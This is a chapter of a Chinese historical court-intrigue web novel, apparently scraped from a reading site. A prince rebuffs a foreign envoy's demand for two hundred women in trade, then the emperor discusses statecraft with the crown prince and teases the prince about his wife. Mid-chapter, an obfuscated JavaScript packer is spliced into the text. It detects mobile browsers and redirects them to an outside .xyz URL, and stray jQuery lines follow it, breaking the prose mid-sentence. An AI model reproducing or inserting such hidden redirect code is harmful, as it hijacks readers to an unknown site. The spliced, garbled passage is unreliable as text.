萧恪抵达宫中时，西秦使者正被鸿胪卿领着去到太极东堂。
萧恪随即前往太极东堂，皇帝正斜倚在龙椅上闭目养神，他径直跨步至右首的案榻前坐下。
不想那西秦使者一见到萧恪，就冲着他大喊，“我没到东宁时，总听我们王后称赞贵国因为出了一个圣辉王，战无不胜，攻无不克，所以天下四海才能清宴，百姓方可安宁，但据我这十多天的所见所闻，觉得东宁朝也不过如此。”
西秦的王后是先帝的妹妹，亦是东宁的长公主，皇帝杨绪的堂姑姑，昔年西秦国力强盛，屡次进攻东宁，东宁将士死伤无数，先帝为了保持兵力和西境百姓的安宁，不得已选择将妹妹送到西秦和亲。
“第五使日夜笙歌，极少出门去观我东宁各处山河，又怎知道我东宁风物如何？”萧恪淡淡一瞥那胡榻上坐着的中年男人，声音凛冽，“再者，我东宁之土地四海，还轮不上第五使你一个外邦之人来评判定论。”
第五行听见这话怒拍桌案，又朝御座的皇帝拱了拱手，“东宁皇帝陛下，堂堂东宁，礼仪之邦，他区区一个王爷怎么敢对我们他国来宾如此无礼？”
杨绪这才悠悠睁开眼睛，状似不知发生了何事一样朝萧恪看去。
萧恪勾唇冷冷一笑，“第五使如何待本王，本王便如何待你，这很公平。”
第五行：“你们东宁的皇帝都不敢同我这样讲话，你是皇帝的臣下，又怎么敢如此嚣张？”
萧恪挑眉，面寒如霜，“那是因为我东宁陛下仁义，但本王却不是仁义之人，第五使如若不信，可以试试我腰间的刀是否嗜血？”
萧恪说着，右手熟稔的按抚着腰间雪亮弯刀，像是会随时抽刀见血。
第五使这才发现眼前之人竟然可以堂而皇之的携带兵器入朝，心下大惊，一时被萧恪如冰川寒山的气势所威慑。
看来他们王后没有说错，萧恪在东宁朝的地位几可比拟东宁的皇帝。
第五行被西秦钦点为使者出使他国，自然不可能是酒囊饭袋之辈，他方才伪装凶悍无知，无非是想试探东宁的皇帝和臣子是否外强中干，如果是，他便能更多的为西秦谋得最大的好处。
可惜他们都非泛泛之辈，尤其眼前这个凶神恶煞的家伙。
心念电转间，第五行选择就坡下驴，冷静沉思片刻后，与东宁皇帝和萧恪转入正题。
“还请贵国皇帝和王爷息怒，今天我之所以愤怒，是因为之前我们曾提出想要以盐铁和马匹同贵国交换粮食布匹，以及两百名江南美人……吾王提出的交换条件十分优越，但为什么你们不同意？”
西秦国盛产铁矿和马匹，但土地贫瘠不合适耕种，男人多，女人少，女人在西秦尤其珍贵，甚至很多人会选择一妻多夫。
皇帝杨绪原本清淡的眉眼霎时变得冷酷，“吾已经说过，粮食布匹可详谈，至于女人想都不要想。”
第五行不解，他不久前还在北齐用这个方法获取过女人三百，尝到了甜头后就想如法炮制，如何现今在东宁却行不通？
况且他知道东宁的女人多如过江之鲫，他如今才同东宁要两百个女人而已，西秦王给出的条件那样丰厚，就算换五百个女人也能够，他们没理由不答应。
“为何不行？皇帝陛下可是觉得我们西秦给的条件不够？”第五行疑惑。
皇帝杨绪让萧恪告诉他理由。
萧恪只睥睨望向第五行，铿锵有力的撕破他的脸皮：“第五使说想要交换我们东宁的女人，但你可知？她们的父亲兄弟和丈夫多在守我东宁四方边境，如此寒冬，她们此刻正在家中为他们缝衣制鞋。就算是普通农女，她们也在为我东宁播种粮食，养育儿女。而你想要我东宁挑选女人送给西秦，只会寒我东宁将士与百姓的心，你觉得陛下为何会答应这样一桩于我东宁百害而无一利的事？”
第五使不信，认为萧恪在搪塞他，“王爷所说固然有道理，但贵国女人多如牛毛，孤苦贫弱者总能挑出一二百来？”
萧恪忽而哂笑，咄咄逼人，“第五使动辄言我东宁百姓孤苦贫弱，究竟是何居心？”
第五行神情一怔，他并非这个意思。
见第五行露出破绽，萧恪便不打算放过他，继续寒声厉语，“第五使美其名曰让重利我东宁，可让我东宁用女人交换你们的盐铁马匹，这与那些势弱诸侯被降服时，向他国割地纳贡何异？”
第五行面如土灰，他不是没听过东宁的圣辉王智计谋略无双，尤其颇擅攻心，而且他威势盛大，自己又言语有失被他钻了空子，直直逼得他步步后退。
萧恪薄唇翕动，一字一句，“第五使不仅善于伪装斗狠，还惯会巧言令色，这种毫无诚信的邻使我东宁伺候不起，即日起还请贵国使者自便离去。”
第五行背脊冒出冷汗，心知此行如意算盘恐要落空。
他绝不能空手而归。
西秦和东宁国力不相上下，他得改变策略。
于是方才的倨傲狂妄不再，第五行对御座之上的杨绪这才恭敬拱手，“陛下息怒，想贵国和我西秦交好已有二十多年，还请陛下看在我西秦王后的面子上，允许我用盐铁马匹与贵国交换粮食布匹。”
萧恪垂眸袖手，仿佛与众人隔着一道无形的屏障，俨然一副丝毫没有回旋之地的冷漠姿态。
第五行只得避开他这块硬骨头，转而欲要去说服皇帝杨绪。
杨绪想着今日让萧恪进宫的目的已经达到，而西秦也确实有他想要得到的东西，便见好就收，也开始摆出邻邦友好往来的态度同第五行就两国的需求进行磋商，顿时让第五行感到和蔼和亲，如沐春风。
等大致方向敲定，皇帝便下令将后续具体事宜交给了鸿胪卿蒋提。
第五行在离去之前，再一次看着御座之上看似人畜无害的皇帝，以及右首那位岿然如峰岳的冷面王爷，很有种劫后余生的庆幸。
只是萧恪和第五行都没有想到，今日的这桩看似寻常的角逐较量，在多年后再回头来看，竟然开始像蝴蝶振翅一般，开始波及牵动着国力同样不弱的西秦与东宁走向水火，最终刀锋相向，铁蹄争鸣。
而当风云再起，萧恪注定会成为那一道坚不可摧的城墙，挽救东宁百姓于水火的命运。
只是西秦战事对萧恪造成的影响，却远远不止于此。
他和裴瑛在那之后骤然的镜碎情断，也大半因此而起。
当然，这都是后话。
……
西秦使者离开，太极东堂只余下杨绪和萧恪。
便在这时，太子少师杨慕廷领着太子杨少琰从东堂一侧的别殿走出。
杨少琰恭敬地给父皇和萧恪行礼，今日他对萧恪鞠躬行礼时比任何一回都充满敬重，从前是不知敬服，自然也畏惧。
东宫从前与萧恪向来政见不同，东宫幕僚一直将萧恪当作最大的政敌，因为萧恪独揽朝政和军权，大有挟天子以令诸侯之嫌，对东宫将来是否能继位的威胁最大。而太子年复一年耳濡目染，萧恪在他印象里，就连父皇都屈于他这个臣子的淫威之下，是个不折不扣的大奸臣。
但自从东宫架构改制，东宫从前官员悉数被调离，而新上任的这一批人谨遵培养未来储君的方式来教导太子。杨少琰起初无比抗拒，但自杨慕廷进入东宫任职，不到两个月的时间，太子就悄然之中神奇的开始转着性子。
他如今除了父皇母后，最信任的人便是少师杨慕廷。
这令帝后大喜。
皇帝也因此对杨慕廷更高看了几分，他知道杨慕廷是由裴昂举荐的人，他亲自考校过杨慕廷，发现这人不仅生得丰神如玉，更有智计谋略，胸藏丘壑，当场就钦定他为太子少师。
从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540688|186642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前太子性情乖戾，骄纵任性，杨绪让人日日鞭策教导都无用，每回都要被他气出个好歹。但今时再看他，心里也开始生出几许希冀来。
杨绪让杨慕廷和少师落座，并要考校太子，“方才在别殿见证了西秦使者觐见的全程，可有学到什么？”
杨少琰下巴扬起，像只骄傲的公鸡，神态稚气轻狂，“那个第五使被皇叔吓住了，后来就只敢跟父皇说话，让父皇做决定。”
很浅显的认识，杨绪却已觉得儿子长进了不少，便循循善诱，“西秦使者为何会害怕你皇叔，而吾为何愿意同他轻风细雨的交谈？”
杨少琰捏着下巴思考了片刻，又来回瞧着父皇和萧恪，忽然好似恍然大悟，“哦，我知道了，父皇和皇叔真厉害，原来你们早就串通好了是不是，将那第五使糊弄得一套一套的。”
杨慕廷握拳到唇边轻咳了两声，提醒太子莫要放浪形骸。
杨少琰噤声看向自己的老师。
杨慕廷为他解惑，“太子殿下，陛下和王爷一个怀德，一个畏威，既要让邻使感到畏惧我东宁国威，又让他感受到陛下的宽和仁义，德威并用，张弛有济，于两国邦交上方能占据主动。”
杨慕廷说着看向皇帝和圣辉王，“而且臣想，陛下和圣辉王并没有提前串通，而是一直以来的行事默契所致，否则以第五使的毒辣，迟早会被看穿。”
杨少琰若有所思。
杨绪忽然间心怀甚慰，看来皇后短时间内不会为她的好儿子忧心劳神，能够睡个安稳觉了。
“不错，玄渚这太子老师当得很尽责。”杨慕廷，字玄渚。
杨慕廷抱拳拱手，“谢陛下夸赞。”
萧恪唇角亦扬起一抹笑意，为裴昂的尽心。
正巧被杨绪捕捉到，皇帝惊讶的发现了一件事，方才与西秦使者对峙时那种凛若冰霜、霹雳修罗的圣辉王，他似乎已经很久没见到过了。
最近的萧恪，他默默回忆了下，好似颇为清和冲淡，在朝堂之上也总是面露浅淡笑意。
杨绪惊觉萧恪不对劲。
他看向萧恪，忽然问了他句与朝事风马牛不相及的问题，“贤弟如今和弟妹感情如何？”
皇帝说完觉得自己有些八卦，觉得要是皇后在此才好，她问这话比较合适。
萧恪一愣，不明白杨绪为何忽然有此一问，只清浅笑着回他，“尚可。”
杨绪扬眉不信，“只是尚可？”
萧恪见他一副插科打诨的神情，很想看他热闹的样子，恨不能上去给他一拳。
可随即想到裴瑛与他琴瑟和鸣的恩爱情景，他心中竟生出幽微玄妙的念头，他想要让大家知晓自己和裴瑛夫妻二人感情甚笃这事。
他暗暗摩挲着拇指上的射决，想到裴瑛，他心间便洋溢着似是要蔓延到她心上的愉悦感。
他清越如冷山的声音回荡在大殿中，“臣弟如今很庆幸当初娶了裴氏女娘为妻子。”
对面的杨慕廷听到这话，也不禁抬起头看向对面的圣辉王，双目中含着温润笑意，但衣袖里的手却生生压着心底的波澜壮阔。
杨绪观着萧恪唇边绽放的笑意，杨绪便知从前那个对女色避之不及的贤弟恐怕是一去不复返了。
他只觉有趣，不住感叹道，“贤弟如今真是变了。”变得乐于沾染体会人间情爱的滋味了。
这世间，大概真有一物降一物这个说法，否则以萧恪这样清心寡欲的性子，要他说出庆幸娶妻几字实属天方夜谭。
萧恪但笑不语，他的确在坦然接受自己的变化，并坦荡接纳内心的愉悦幸福。
杨绪见状便知情识趣的说，“今日初六，贤弟本就该与弟妹一齐在你岳家夫唱妇随，如此，为兄今日便不留你用膳，你快出宫陪弟妹去。”
萧恪正有此意，问过见并无他事，便起身退朝离去。